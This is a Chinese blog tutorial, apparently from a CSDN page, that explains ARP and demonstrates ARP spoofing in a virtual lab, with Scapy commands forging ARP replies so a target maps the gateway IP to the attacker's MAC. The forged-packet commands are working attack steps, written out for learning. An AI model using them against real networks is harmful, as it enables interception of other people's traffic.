python构造ARP欺骗数据包

在讲ARP欺骗之前先讲讲什么是ARP以及ARP欺骗的原理吧。
一、 什么是ARP?

arp英文全称: address resolution protocol 中文:地址解析协议

它的作用:是根据IP地址获取获取物理地址的一个TCP/IP协议。 主机发送 信息的时候将一个包涵目标主机的IP地址的ARP请求通过广播到网络上所有的主机,并且接受返回信息,以此来确定目标的物理地址。收到返回消息后讲该IP和物理地址存在本机ARP缓存中(这个属于动态ARP)兵保留一定的时间。下次请求时就可以直接查询ARP缓存以节约资源。

二、 ARP欺骗原理

大家通过知道arp的原理之后就应该知道arp的缺陷了。当arp通过广播的形式的时候,虽然主机默认的是:与自己的ip不匹配的就视为丢弃,但是我们可以通过手动的方式来跟靶机讲我就是网关或者其它主机,从而就达到了欺骗目的。

实验环境:

1.虚拟机kali IP:192.168.1.2   MAC:00:0C:29:E4:5C:D2 (攻击机)

2.虚拟机win7 IP:192.168.1.3   MAC:00-0C-29-CA-29-88(靶机:被攻击机)

3.宿主机win7 IP:192.168.1.1   MAC:0A-00-27-00-00-18(服务器DVWA)

例如: 虚拟机win7想访问宿主机的服务器,那么必须知道宿主机的MAC地址,但又因为arp缓存里面没有宿主机的MAC地址,所以就必须以广播的形式来跟宿主机进行连接。 然后它就会讲:请问谁的IP 是192.168.1.1,请把你的MAC给我。宿主机看见广播的地址和自己的地址相同,所以就会回复靶机讲它是,并且把Mac地址发给它,从而就建立了连接。但是 如果kali想攻击它,kali就会在靶机广播的时候也会一直广播发送消息讲它是192.168.1.1,并把MAC发给它,所以靶机就以为它是服务器从而就会上传一些敏感文件给它。从而就达到了欺骗。

**

实验开始:

**
**

一、部署环境

**
实验开始之前要注意,apr欺骗只能在内网中,所以我们虚拟机要改成桥接模式。
1.我们以win03作为靶机,在一开始我们使用arp -a命令查看不到默认网关,然后我把虚拟机模式改成了桥接模式,还是不行,后来我把虚拟机获取IP的方法改成了自动获取,后来可以了,如图:

在这里插入图片描述在这里我把ip获取方式我改成手动设置了,但是手动设置之后发现我们使用arp -a(查看arp缓存表)没有发现缓存的mac地址,这是为啥?我们可以先ping一下随机的主机或者网站,我在们执行arp -a发现查到了mac地址,mac地址就是我们的默认网关,关于网关我们在这这里补充一下:

那么网关到底是什么呢?网关实质上是一个网络通向其他网络的IP地址。比如有网络A和网络B,网络A的IP地址范围为“192.168.1.1~192.
168.1.254”,子网掩码为255.255.255.0;网络B的IP地址范围为“192.168.2.1~192.168.2.254”,子网掩码为255.255.255.0。在没有路由器的情况下,两个网络之间是不能进行TCP/IP通信的,即使是两个网络连接在同一台交换机(或集线器)上,TCP/IP协议也会根据子网掩码(255.255.255.0)判定两个网络中的主机处在不同的网络里。而要实现这两个网络之间的通信,则必须通过网关。如果网络A中的主机发现数据包的目的主机不在本地网络中,就把数据包转发给它自己的网关,再由网关转发给网络B的网关,网络B的网关再转发给网络B的某个主机(如附图所示)。网络B向网络A转发数据包的过程。

在这里插入图片描述

上图说明了我们在访问百度的主机的时候,百度主机与我们的03虚拟机不在同一个网段中,这时候需要我们设定的192.168.1.1网关进行 IP转换。

**

二.构造数据包

**

root@kali:~# scapy
WARNING: No route found for IPv6 destination :: (no default route?)
Welcome to Scapy (2.3.2)
>>> a=ARP()
>>> a.show()
###[ ARP ]###
  hwtype= 0x1
  ptype= 0x800
  hwlen= 6
  plen= 4
  op= who-has
  hwsrc= 00:0c:29:b6:71:0c
  psrc= 192.168.1.110
  hwdst= 00:00:00:00:00:00
  pdst= 0.0.0.0
>>> a.pdst="192.168.1.106"
>>> a.psrc="192.168.1.1"   //我们把我们kali的mac未造成网关的mac。192.168.1.1是网关的ip
>>> send(a)
.
Sent 1 packets.
>>> 

我们在03中可以看到,网关的mac对应的ip变成了我们kali的ip:

在这里插入图片描述
我们看到我们kali的主机地址留在了对方的机器上,我们通过wireshark抓包可以发现,我们在第二层的Ether中的源mac地址仍然用的是我们的kali的mac地址。如图:
在我们kali(110)发送给03(106)的数据包中的Ether层的源mac为kali的。
在这里插入图片描述在这里插入图片描述

我们使用以下代码:

>>> sendp(Ether(src="00:0c:29:b6:71:0c",dst="ff:ff:ff:ff:ff:ff")/ARP(pdst="192.168.1.106",psrc="192.168.1.110"))
.
Sent 1 packets.

可以看到我们在靶机上没有获得对应的ip
在这里插入图片描述

在这里插入图片描述

  • 2
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值